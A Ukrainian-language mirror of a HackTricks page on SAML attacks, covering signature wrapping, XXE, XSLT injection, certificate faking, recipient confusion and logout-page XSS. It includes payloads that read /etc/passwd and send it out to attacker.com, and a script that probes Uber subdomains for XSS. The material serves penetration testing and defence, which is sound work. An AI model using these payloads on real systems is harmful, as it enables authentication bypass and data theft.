mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
289 lines
22 KiB
Markdown
289 lines
22 KiB
Markdown
# SAML Атаки
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Основна інформація
|
||
|
||
{{#ref}}
|
||
saml-basics.md
|
||
{{#endref}}
|
||
|
||
## Інструмент
|
||
|
||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Інструмент, який може взяти URL або список URL і вивести SAML consume URL.
|
||
|
||
## XML круговий обмін
|
||
|
||
В XML підписана частина XML зберігається в пам'яті, потім виконується деяке кодування/декодування, і перевіряється підпис. В ідеалі це кодування/декодування не повинно змінювати дані, але в цій ситуації **дані, що перевіряються, і оригінальні дані можуть не бути однаковими**.
|
||
|
||
Наприклад, перевірте наступний код:
|
||
```ruby
|
||
require 'rexml/document'
|
||
|
||
doc = REXML::Document.new <<XML
|
||
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
||
<X>
|
||
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
||
</X>
|
||
XML
|
||
|
||
puts "First child in original doc: " + doc.root.elements[1].name
|
||
doc = REXML::Document.new doc.to_s
|
||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||
```
|
||
Запуск програми проти REXML 3.2.4 або раніше призведе до наступного виходу замість цього:
|
||
```
|
||
First child in original doc: Y
|
||
First child after round-trip: Z
|
||
```
|
||
Це те, як REXML побачив оригінальний XML документ з програми вище:
|
||
|
||
.png>)
|
||
|
||
А це те, як він побачив його після етапу парсингу та серіалізації:
|
||
|
||
.png>)
|
||
|
||
Для отримання додаткової інформації про вразливість та способи її використання:
|
||
|
||
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||
|
||
## Атаки на обгортку XML-підпису
|
||
|
||
У **атаках на обгортку XML-підпису (XSW)** противники експлуатують вразливість, що виникає, коли XML-документи обробляються через два різні етапи: **перевірка підпису** та **виклик функції**. Ці атаки передбачають зміну структури XML-документа. Зокрема, зловмисник **впроваджує підроблені елементи**, які не порушують дійсність XML-підпису. Це маніпулювання має на меті створити розбіжність між елементами, які аналізуються **логікою програми**, та тими, що перевіряються **модулем перевірки підпису**. В результаті, хоча XML-підпис залишається технічно дійсним і проходить перевірку, логіка програми обробляє **підроблені елементи**. Таким чином, зловмисник ефективно обходить **захист цілісності** та **автентифікацію походження** XML-підпису, що дозволяє **впроваджувати довільний контент** без виявлення.
|
||
|
||
Наступні атаки базуються на [**цьому блозі**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **та** [**цьому документі**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Тож перевірте їх для отримання додаткових деталей.
|
||
|
||
### XSW #1
|
||
|
||
- **Стратегія**: Додається новий кореневий елемент, що містить підпис.
|
||
- **Наслідок**: Валідатор може заплутатися між легітимним "Response -> Assertion -> Subject" та "зловмисним новим Response -> Assertion -> Subject", що призводить до проблем з цілісністю даних.
|
||
|
||
.png>)
|
||
|
||
### XSW #2
|
||
|
||
- **Відмінність від XSW #1**: Використовує відокремлений підпис замість обгорткового підпису.
|
||
- **Наслідок**: "Зловмисна" структура, подібно до XSW #1, має на меті обманути бізнес-логіку після перевірки цілісності.
|
||
|
||
.png>)
|
||
|
||
### XSW #3
|
||
|
||
- **Стратегія**: Створюється зловмисна Assertion на тому ж ієрархічному рівні, що й оригінальна assertion.
|
||
- **Наслідок**: Має на меті заплутати бізнес-логіку, щоб вона використовувала шкідливі дані.
|
||
|
||
.png>)
|
||
|
||
### XSW #4
|
||
|
||
- **Відмінність від XSW #3**: Оригінальна Assertion стає дочірнім елементом дублікату (зловмисної) Assertion.
|
||
- **Наслідок**: Подібно до XSW #3, але більш агресивно змінює структуру XML.
|
||
|
||
.png>)
|
||
|
||
### XSW #5
|
||
|
||
- **Унікальний аспект**: Ні підпис, ні оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений).
|
||
- **Наслідок**: Скопійована Assertion обгортає підпис, змінюючи очікувану структуру документа.
|
||
|
||
.png>)
|
||
|
||
### XSW #6
|
||
|
||
- **Стратегія**: Схожа вставка місця, як у XSW #4 та #5, але з обертом.
|
||
- **Наслідок**: Скопійована Assertion обгортає підпис, який потім обгортає оригінальну Assertion, створюючи вкладену оманливу структуру.
|
||
|
||
.png>)
|
||
|
||
### XSW #7
|
||
|
||
- **Стратегія**: Вставляється елемент Extensions з копійованою Assertion як дочірнім.
|
||
- **Наслідок**: Це експлуатує менш обмежену схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML.
|
||
|
||
.png>)
|
||
|
||
### XSW #8
|
||
|
||
- **Відмінність від XSW #7**: Використовує інший менш обмежений XML-елемент для варіанту атаки.
|
||
- **Наслідок**: Оригінальна Assertion стає дочірнім елементом менш обмеженого елемента, змінюючи структуру, використану в XSW #7.
|
||
|
||
.png>)
|
||
|
||
### Інструмент
|
||
|
||
Ви можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для парсингу запиту, застосування будь-якої атаки XSW, яку ви виберете, та її запуску.
|
||
|
||
## XXE
|
||
|
||
Якщо ви не знаєте, які види атак є XXE, будь ласка, прочитайте наступну сторінку:
|
||
|
||
{{#ref}}
|
||
../xxe-xee-xml-external-entity.md
|
||
{{#endref}}
|
||
|
||
SAML-відповіді є **зменшеними та base64-кодованими XML-документами** і можуть бути вразливими до атак XML External Entity (XXE). Маніпулюючи структурою XML SAML-відповіді, зловмисники можуть намагатися експлуатувати вразливості XXE. Ось як така атака може бути візуалізована:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE foo [
|
||
<!ELEMENT foo ANY >
|
||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
||
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
||
<saml:Issuer>...</saml:Issuer>
|
||
<ds:Signature ...>
|
||
<ds:SignedInfo>
|
||
<ds:CanonicalizationMethod .../>
|
||
<ds:SignatureMethod .../>
|
||
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
||
</ds:SignedInfo>
|
||
<ds:SignatureValue>...</ds:SignatureValue>
|
||
[...]
|
||
```
|
||
## Інструменти
|
||
|
||
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для генерації POC з SAML запиту для тестування на можливі вразливості XXE та SAML вразливості.
|
||
|
||
Перегляньте також цю доповідь: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||
|
||
## XSLT через SAML
|
||
|
||
Для отримання додаткової інформації про XSLT перейдіть до:
|
||
|
||
{{#ref}}
|
||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||
{{#endref}}
|
||
|
||
Розширювальні перетворення мов стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що **перетворення XSLT виконуються до перевірки цифрового підпису**. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження.
|
||
|
||
Тут ви можете знайти **POC** для перевірки на такі вразливості, на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти корисні дані.
|
||
```xml
|
||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||
...
|
||
<ds:Transforms>
|
||
<ds:Transform>
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="doc">
|
||
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
||
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
||
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
||
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
||
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
</ds:Transform>
|
||
</ds:Transforms>
|
||
...
|
||
</ds:Signature>
|
||
```
|
||
### Tool
|
||
|
||
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для генерації POC з SAML запиту для тестування можливих вразливостей XSLT.
|
||
|
||
Перегляньте також цю доповідь: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||
|
||
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||
|
||
**XML Signature Exclusion** спостерігає за поведінкою реалізацій SAML, коли елемент Signature відсутній. Якщо цей елемент відсутній, **перевірка підпису може не відбутися**, що робить його вразливим. Можна протестувати це, змінивши вміст, який зазвичай перевіряється підписом.
|
||
|
||
.png>)
|
||
|
||
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||
|
||
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Перехопіть SAML Response і натисніть `Remove Signatures`. Таким чином **всі** елементи Signature будуть видалені.
|
||
|
||
Після видалення підписів, дозвольте запиту продовжити до цілі. Якщо підпис не потрібен сервісу
|
||
|
||
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
|
||
|
||
## Certificate Faking
|
||
|
||
Certificate Faking - це техніка для тестування, чи **правильно перевіряє постачальник послуг (SP), що SAML повідомлення підписано** довіреним постачальником ідентифікації (IdP). Це передбачає використання \***самопідписаного сертифіката** для підписання SAML Response або Assertion, що допомагає оцінити процес перевірки довіри між SP та IdP.
|
||
|
||
### How to Conduct Certificate Faking
|
||
|
||
Наступні кроки описують процес використання розширення Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
||
|
||
1. Перехопіть SAML Response.
|
||
2. Якщо відповідь містить підпис, надішліть сертифікат до SAML Raider Certs, використовуючи кнопку `Send Certificate to SAML Raider Certs`.
|
||
3. У вкладці Сертифікати SAML Raider виберіть імпортований сертифікат і натисніть `Save and Self-Sign`, щоб створити самопідписаний клон оригінального сертифіката.
|
||
4. Поверніться до перехопленого запиту в проксі Burp. Виберіть новий самопідписаний сертифікат з випадаючого списку XML Signature.
|
||
5. Видаліть будь-які існуючі підписи за допомогою кнопки `Remove Signatures`.
|
||
6. Підпишіть повідомлення або підтвердження новим сертифікатом, використовуючи кнопку **`(Re-)Sign Message`** або **`(Re-)Sign Assertion`**, відповідно.
|
||
7. Перешліть підписане повідомлення. Успішна аутентифікація вказує на те, що SP приймає повідомлення, підписані вашим самопідписаним сертифікатом, що виявляє потенційні вразливості в процесі перевірки SAML повідомлень.
|
||
|
||
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||
|
||
Token Recipient Confusion та Service Provider Target Confusion передбачають перевірку, чи **правильно перевіряє постачальник послуг наміреного отримувача відповіді**. По суті, постачальник послуг повинен відхиляти відповідь аутентифікації, якщо вона призначена для іншого постачальника. Критичним елементом тут є поле **Recipient**, яке знаходиться в елементі **SubjectConfirmationData** SAML Response. Це поле вказує URL, куди має бути надіслано підтвердження. Якщо фактичний отримувач не відповідає наміченому постачальнику послуг, підтвердження слід вважати недійсним.
|
||
|
||
#### **How It Works**
|
||
|
||
Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис у постачальника послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit.
|
||
|
||
Процес атаки є простим за цих умов. Ініціюється автентична сесія з SP-Legit через спільного постачальника ідентифікації. Перехоплюється SAML Response від постачальника ідентифікації до SP-Legit. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, що використовувалося для SP-Legit.
|
||
```python
|
||
# Example to simulate interception and redirection of SAML Response
|
||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||
"""
|
||
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
||
|
||
Args:
|
||
- saml_response: The SAML Response intercepted (in string format).
|
||
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
||
|
||
Returns:
|
||
- status: Success or failure message.
|
||
"""
|
||
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
||
try:
|
||
# Code to send the SAML Response to SP-Target would go here
|
||
return "SAML Response successfully redirected to SP-Target."
|
||
except Exception as e:
|
||
return f"Failed to redirect SAML Response: {e}"
|
||
```
|
||
## XSS в функції виходу
|
||
|
||
Оригінальне дослідження можна знайти за [цим посиланням](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
||
|
||
Під час процесу брутфорсингу директорій була виявлена сторінка виходу за адресою:
|
||
```
|
||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||
```
|
||
Після доступу до цього посилання відбулася переадресація на:
|
||
```
|
||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||
```
|
||
Це виявило, що параметр `base` приймає URL. Враховуючи це, виникла ідея замінити URL на `javascript:alert(123);` в спробі ініціювати атаку XSS (Cross-Site Scripting).
|
||
|
||
### Масове використання
|
||
|
||
[З цього дослідження](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||
|
||
Інструмент [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) був використаний для аналізу піддоменів `uberinternal.com` для доменів, які використовують ту ж бібліотеку. Після цього був розроблений скрипт для націлювання на сторінку `oidauth/prompt`. Цей скрипт тестує на наявність XSS (Cross-Site Scripting), вводячи дані та перевіряючи, чи відображаються вони в виході. У випадках, коли введення дійсно відображається, скрипт позначає сторінку як вразливу.
|
||
```python
|
||
import requests
|
||
import urllib3
|
||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||
from colorama import init ,Fore, Back, Style
|
||
init()
|
||
|
||
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
||
for url in urlList:
|
||
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
||
request = requests.get(url2, allow_redirects=True,verify=False)
|
||
doesit = Fore.RED + "no"
|
||
if ("Fady" in request.content):
|
||
doesit = Fore.GREEN + "yes"
|
||
print(Fore.WHITE + url2)
|
||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||
```
|
||
## Посилання
|
||
|
||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
|
||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|